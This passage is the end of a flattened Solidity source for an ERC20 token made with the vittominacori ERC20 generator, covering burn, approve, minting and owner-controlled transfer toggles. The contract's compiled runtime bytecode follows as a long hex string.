Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual override(ERC20Burnable) canTransfer(account){ super.burnFrom(account, amount); } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override canTransfer(spender) returns (bool) { return super.approve(spender, amount); } /** * @dev Function to stop minting new tokens. */ function finishMinting() public canMint onlyOwner { _mintingFinished = true; emit MintFinished(); } /** * @dev Function to enable transfers. */ function enableTransfer() public onlyOwner { _transferEnabled = true; emit TransferEnabled(); } /** * @dev Function to disable transfers. */ function disableTransfer() public onlyOwner { _transferEnabled = false; emit TransferDisabled(); } /** * @dev See {ERC20-_beforeTokenTransfer}. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Capped) { super._beforeTokenTransfer(from, to, amount); } } // File: contracts/BaseToken.sol pragma solidity ^0.7.1; /** * @title BaseToken * @author Vittorio Minacori (https://github.com/vittominacori) * @dev Implementation of the BaseToken */ contract BaseToken is ERC20Base { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private constant _VERSION = "v3.2.0"; constructor ( string memory name, string memory symbol, uint8 decimals, uint256 cap, uint256 initialSupply, bool transferEnabled, bool mintingFinished ) ERC20Base(name, symbol, decimals, cap, initialSupply, transferEnabled, mintingFinished) {} /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public pure returns (string memory) { return _VERSION; } }
0x608060405234801561001057600080fd5b50600436106102695760003560e01c806379cc679011610151578063b187984f116100c3578063d547741f11610087578063d547741f14610f4b578063d8fbe99414610f99578063dd62ed3e1461101d578063f1b50c1d14611095578063f2fde38b1461109f578063f5b541a6146110e357610269565b8063b187984f14610ccb578063c1d34b8914610cd5578063ca15c87314610df0578063cae9ca5114610e32578063d539139314610f2d57610269565b80639010d07c116101155780639010d07c14610a9c57806391d1485414610afe57806395d89b4114610b62578063a217fddf14610be5578063a457c2d714610c03578063a9059cbb14610c6757610269565b806379cc67901461093f5780637afa1eed1461098d5780637d64bcb414610a105780638980f11f14610a1a5780638da5cb5b14610a6857610269565b80633177029f116101ea57806340c10f19116101ae57806340c10f19146107be57806342966c681461080c5780634cd412d51461083a57806354fd4d501461085a57806370a08231146108dd578063715018a61461093557610269565b80633177029f1461058f578063355274ea146105f357806336568abe14610611578063395093511461065f5780634000aea0146106c357610269565b806318160ddd1161023157806318160ddd1461043c57806323b872dd1461045a578063248a9ca3146104de5780632f2ff15d14610520578063313ce5671461056e57610269565b806301ffc9a71461026e57806305d2035b146102d157806306fdde03146102f1578063095ea7b3146103745780631296ee62146103d8575b600080fd5b6102b96004803603602081101561028457600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050611101565b60405180821515815260200191505060405180910390f35b6102d9611169565b60405180821515815260200191505060405180910390f35b6102f9611180565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033957808201518184015260208101905061031e565b50505050905090810190601f1680156103665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103c06004803603604081101561038a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611222565b60405180821515815260200191505060405180910390f35b610424600480360360408110156103ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112ce565b60405180821515815260200191505060405180910390f35b6104446112f2565b6040518082815260200191505060405180910390f35b6104c66004803603606081101561047057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112fc565b60405180821515815260200191505060405180910390f35b61050a600480360360208110156104f457600080fd5b81019080803590602001909291905050506113aa565b6040518082815260200191505060405180910390f35b61056c6004803603604081101561053657600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113ca565b005b610576611454565b604051808260ff16815260200191505060405180910390f35b6105db600480360360408110156105a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061146b565b60405180821515815260200191505060405180910390f35b6105fb61148f565b6040518082815260200191505060405180910390f35b61065d6004803603604081101561062757600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611499565b005b6106ab6004803603604081101561067557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611532565b60405180821515815260200191505060405180910390f35b6107a6600480360360608110156106d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561072057600080fd5b82018360208201111561073257600080fd5b8035906020019184600183028401116401000000008311171561075457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506115e5565b60405180821515815260200191505060405180910390f35b61080a600480360360408110156107d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611665565b005b6108386004803603602081101561082257600080fd5b810190808035906020019092919050505061177c565b005b610842611827565b60405180821515815260200191505060405180910390f35b61086261183e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108a2578082015181840152602081019050610887565b50505050905090810190601f1680156108cf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61091f600480360360208110156108f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061187b565b6040518082815260200191505060405180910390f35b61093d6118c3565b005b61098b6004803603604081101561095557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a4e565b005b610995611af4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109d55780820151818401526020810190506109ba565b50505050905090810190601f168015610a025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a18611b14565b005b610a6660048036036040811015610a3057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611caa565b005b610a70611e2c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610ad260048036036040811015610ab257600080fd5b810190808035906020019092919080359060200190929190505050611e56565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610b4a60048036036040811015610b1457600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e88565b60405180821515815260200191505060405180910390f35b610b6a611eba565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610baa578082015181840152602081019050610b8f565b50505050905090810190601f168015610bd75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610bed611f5c565b6040518082815260200191505060405180910390f35b610c4f60048036036040811015610c1957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f63565b60405180821515815260200191505060405180910390f35b610cb360048036036040811015610c7d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612030565b60405180821515815260200191505060405180910390f35b610cd36120e3565b005b610dd860048036036080811015610ceb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610d5257600080fd5b820183602082011115610d6457600080fd5b80359060200191846001830284011164010000000083111715610d8657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506121f6565b60405180821515815260200191505060405180910390f35b610e1c60048036036020811015610e0657600080fd5b8101908080359060200190929190505050612271565b6040518082815260200191505060405180910390f35b610f1560048036036060811015610e4857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610e8f57600080fd5b820183602082011115610ea157600080fd5b80359060200191846001830284011164010000000083111715610ec357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612298565b60405180821515815260200191505060405180910390f35b610f35612310565b6040518082815260200191505060405180910390f35b610f9760048036036040811015610f6157600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612334565b005b61100560048036036060811015610faf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506123be565b60405180821515815260200191505060405180910390f35b61107f6004803603604081101561103357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123e4565b6040518082815260200191505060405180910390f35b61109d61246b565b005b6110e1600480360360208110156110b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061257e565b005b6110eb61278e565b6040518082815260200191505060405180910390f35b600060076000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b6000600960149054906101000a900460ff16905090565b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112185780601f106111ed57610100808354040283529160200191611218565b820191906000526020600020905b8154815290600101906020018083116111fb57829003601f168201915b5050505050905090565b600082600960159054906101000a900460ff168061126657506112657f523a704056dcd17bcf83bed8b68c59416dac1119be77755efe3bde0a64e46e0c82611e88565b5b6112bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a815260200180613e40604a913960600191505060405180910390fd5b6112c58484612946565b91505092915050565b60006112ea8383604051806020016040528060008152506115e5565b905092915050565b6000600254905090565b600083600960159054906101000a900460ff1680611340575061133f7f523a704056dcd17bcf83bed8b68c59416dac1119be77755efe3bde0a64e46e0c82611e88565b5b611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a815260200180613e40604a913960600191505060405180910390fd5b6113a0858585612964565b9150509392505050565b600060086000838152602001908152602001600020600201549050919050565b6113f160086000848152602001908152602001600020600201546113ec612a3d565b611e88565b611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180613bf6602f913960400191505060405180910390fd5b6114508282612a45565b5050565b6000600560009054906101000a900460ff16905090565b6000611487838360405180602001604052806000815250612298565b905092915050565b6000600654905090565b6114a1612a3d565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611524576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180613eaf602f913960400191505060405180910390fd5b61152e8282612ad9565b5050565b60006115db61153f612a3d565b846115d68560016000611550612a3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b290919063ffffffff16565b612b6d565b6001905092915050565b60006115f18484612030565b506116056115fd612a3d565b858585612d64565b61165a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180613d356026913960400191505060405180910390fd5b600190509392505050565b600960149054906101000a900460ff16156116e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4552433230426173653a206d696e74696e672069732066696e6973686564000081525060200191505060405180910390fd5b6117197ff0887ba65ee2024ea881d91b74c2450ef19e1557f03bed3ea9f16b037cbe2dc9611714612a3d565b611e88565b61176e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180613d0a602b913960400191505060405180910390fd5b6117788282612f28565b5050565b611784612a3d565b600960159054906101000a900460ff16806117c557506117c47f523a704056dcd17bcf83bed8b68c59416dac1119be77755efe3bde0a64e46e0c82611e88565b5b61181a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a815260200180613e40604a913960600191505060405180910390fd5b611823826130ef565b5050565b6000600960159054906101000a900460ff16905090565b60606040518060400160405280600681526020017f76332e322e300000000000000000000000000000000000000000000000000000815250905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6118cb612a3d565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461198d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b81600960159054906101000a900460ff1680611a905750611a8f7f523a704056dcd17bcf83bed8b68c59416dac1119be77755efe3bde0a64e46e0c82611e88565b5b611ae5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a815260200180613e40604a913960600191505060405180910390fd5b611aef8383613103565b505050565b60606040518060600160405280602f8152602001613e11602f9139905090565b600960149054906101000a900460ff1615611b97576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4552433230426173653a206d696e74696e672069732066696e6973686564000081525060200191505060405180910390fd5b611b9f612a3d565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600960146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a1565b611cb2612a3d565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb611d98611e2c565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611dec57600080fd5b505af1158015611e00573d6000803e3d6000fd5b505050506040513d6020811015611e1657600080fd5b8101908080519060200190929190505050505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000611e80826008600086815260200190815260200160002060000161316590919063ffffffff16565b905092915050565b6000611eb2826008600086815260200190815260200160002060000161317f90919063ffffffff16565b905092915050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f525780601f10611f2757610100808354040283529160200191611f52565b820191906000526020600020905b815481529060010190602001808311611f3557829003601f168201915b5050505050905090565b6000801b81565b6000612026611f70612a3d565b8461202185604051806060016040528060258152602001613e8a6025913960016000611f9a612a3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131af9092919063ffffffff16565b612b6d565b6001905092915050565b600061203a612a3d565b600960159054906101000a900460ff168061207b575061207a7f523a704056dcd17bcf83bed8b68c59416dac1119be77755efe3bde0a64e46e0c82611e88565b5b6120d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a815260200180613e40604a913960600191505060405180910390fd5b6120da848461326f565b91505092915050565b6120eb612a3d565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600960156101000a81548160ff0219169083151502179055507fa24e573d02c7954c4e7984d9899865bb96f86540675f339ece49129f3594710e60405160405180910390a1565b60006122038585856112fc565b5061221085858585612d64565b612265576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180613d356026913960400191505060405180910390fd5b60019050949350505050565b60006122916008600084815260200190815260200160002060000161328d565b9050919050565b60006122a48484611222565b506122b08484846132a2565b612305576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613c8f6025913960400191505060405180910390fd5b600190509392505050565b7ff0887ba65ee2024ea881d91b74c2450ef19e1557f03bed3ea9f16b037cbe2dc981565b61235b6008600084815260200190815260200160002060020154612356612a3d565b611e88565b6123b0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180613cda6030913960400191505060405180910390fd5b6123ba8282612ad9565b5050565b60006123db848484604051806020016040528060008152506121f6565b90509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612473612a3d565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612535576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600960156101000a81548160ff0219169083151502179055507f75fce015c314a132947a3e42f6ab79ab8e05397dabf35b4d742dea228bbadc2d60405160405180910390a1565b612586612a3d565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612648576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156126ce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180613c476026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f523a704056dcd17bcf83bed8b68c59416dac1119be77755efe3bde0a64e46e0c81565b600080828401905083811015612830576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000612862836000018373ffffffffffffffffffffffffffffffffffffffff1660001b613447565b905092915050565b612875838383612941565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561293c576006546128c7826128b96112f2565b6127b290919063ffffffff16565b111561293b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f45524332304361707065643a206361702065786365656465640000000000000081525060200191505060405180910390fd5b5b505050565b505050565b600061295a612953612a3d565b8484612b6d565b6001905092915050565b60006129718484846134b7565b612a328461297d612a3d565b612a2d85604051806060016040528060288152602001613d5b60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006129e3612a3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131af9092919063ffffffff16565b612b6d565b600190509392505050565b600033905090565b612a6d816008600085815260200190815260200160002060000161283a90919063ffffffff16565b15612ad557612a7a612a3d565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b612b01816008600085815260200190815260200160002060000161377890919063ffffffff16565b15612b6957612b0e612a3d565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612bf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613ded6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612c79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613c6d6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000612d858473ffffffffffffffffffffffffffffffffffffffff166137a8565b612d925760009050612f20565b60008473ffffffffffffffffffffffffffffffffffffffff166388a7ca5c612db8612a3d565b8887876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612e48578082015181840152602081019050612e2d565b50505050905090810190601f168015612e755780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b158015612e9757600080fd5b505af1158015612eab573d6000803e3d6000fd5b505050506040513d6020811015612ec157600080fd5b810190808051906020019092919050505090506388a7ca5c60e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150505b949350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612fcb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b612fd7600083836137f3565b612fec816002546127b290919063ffffffff16565b600281905550613043816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6131006130fa612a3d565b82613803565b50565b600061314282604051806060016040528060248152602001613d83602491396131338661312e612a3d565b6123e4565b6131af9092919063ffffffff16565b905061315683613150612a3d565b83612b6d565b6131608383613803565b505050565b600061317483600001836139c7565b60001c905092915050565b60006131a7836000018373ffffffffffffffffffffffffffffffffffffffff1660001b613a4a565b905092915050565b600083831115829061325c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613221578082015181840152602081019050613206565b50505050905090810190601f16801561324e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600061328361327c612a3d565b84846134b7565b6001905092915050565b600061329b82600001613a6d565b9050919050565b60006132c38473ffffffffffffffffffffffffffffffffffffffff166137a8565b6132d05760009050613440565b60008473ffffffffffffffffffffffffffffffffffffffff16637b04a2d06132f6612a3d565b86866040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561336957808201518184015260208101905061334e565b50505050905090810190601f1680156133965780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b1580156133b757600080fd5b505af11580156133cb573d6000803e3d6000fd5b505050506040513d60208110156133e157600080fd5b81019080805190602001909291905050509050637b04a2d060e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150505b9392505050565b60006134538383613a4a565b6134ac5782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506134b1565b600090505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561353d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613dc86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156135c3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613bd36023913960400191505060405180910390fd5b6135ce8383836137f3565b61363981604051806060016040528060268152602001613cb4602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131af9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136cc816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006137a0836000018373ffffffffffffffffffffffffffffffffffffffff1660001b613a7e565b905092915050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91508082141580156137ea57506000801b8214155b92505050919050565b6137fe83838361286a565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613889576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613da76021913960400191505060405180910390fd5b613895826000836137f3565b61390081604051806060016040528060228152602001613c25602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131af9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061395781600254613b6690919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081836000018054905011613a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613bb16022913960400191505060405180910390fd5b826000018281548110613a3757fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600081600001805490509050919050565b60008083600101600084815260200190815260200160002054905060008114613b5a5760006001820390506000600186600001805490500390506000866000018281548110613ac957fe5b9060005260206000200154905080876000018481548110613ae657fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480613b1e57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050613b60565b60009150505b92915050565b6000613ba883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506131af565b90509291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647345524332303a207472616e7366657220746f20746865207a65726f2061646472657373416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e7445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373455243313336333a205f636865636b416e6443616c6c417070726f7665207265766572747345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b65526f6c65733a2063616c6c657220646f6573206e6f74206861766520746865204d494e54455220726f6c65455243313336333a205f636865636b416e6443616c6c5472616e73666572207265766572747345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737368747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f724552433230426173653a207472616e73666572206973206e6f7420656e61626c6564206f722066726f6d20646f6573206e6f74206861766520746865204f50455241544f5220726f6c6545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a264697066735822122023de38d581fdbc4148dd1c16598d7cfd9f3e7c12525ef8f8a40aa8861d57edab64736f6c63430007010033
